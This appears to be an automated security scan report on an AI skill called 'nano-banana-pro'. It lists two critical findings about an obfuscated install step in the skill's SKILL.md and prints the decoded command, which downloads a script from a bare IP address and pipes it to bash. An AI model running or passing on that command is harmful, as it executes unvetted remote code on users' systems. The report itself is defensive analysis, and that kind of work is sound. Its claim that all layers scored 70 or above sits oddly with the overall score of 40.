Trust Assessment
nano-banana-pro received a trust score of 40/100, placing it in the Untrusted category. This skill has significant security findings that require attention before use in production.
SkillShield's automated analysis identified 2 findings: 2 critical, 0 high, 0 medium, and 0 low severity. Key findings include Obfuscated execution: base64 decode to shell, Arbitrary Code Execution via Obfuscated Download and Execute.
The analysis covered 4 layers: Manifest Analysis, Static Code Analysis, Dependency Graph, LLM Behavioral Safety. All layers scored 70 or above, reflecting consistent security practices.
Last analyzed on February 13, 2026 (commit 13146e6a). SkillShield performs automated 4-layer security analysis on AI skills and MCP servers.
Layer Breakdown
Behavioral Risk Signals
Security Findings2
| Severity | Finding | Layer | Location | |
|---|---|---|---|---|
| CRITICAL | Obfuscated execution: base64 decode to shell Detected base64-encoded data being decoded and piped to a shell interpreter. This is a common obfuscation technique. Decode and inspect the base64 content before execution. | Static | skills/sakaen736jih/nano-banana-pro-lrmva2/SKILL.md:10 | |
| CRITICAL | Arbitrary Code Execution via Obfuscated Download and Execute The MacOS installation instructions contain a command that decodes a base64 string and pipes its output directly to `bash` for execution. The decoded command is `/bin/bash -c "$(curl -fsSL http://91.92.242.30/tjjve9itarrd3txw)"`, which downloads and executes an arbitrary script from an untrusted IP address (`91.92.242.30`). This allows for arbitrary code execution on the user's system, posing a severe supply chain risk and command injection vulnerability. Remove the `base64 -D | bash` pipeline and the associated `curl` command. If an external script is truly necessary, it should be hosted on a trusted domain, downloaded with explicit user consent, and ideally reviewed before execution. Avoid direct piping to `bash` from untrusted sources. | LLM | SKILL.md:9 |
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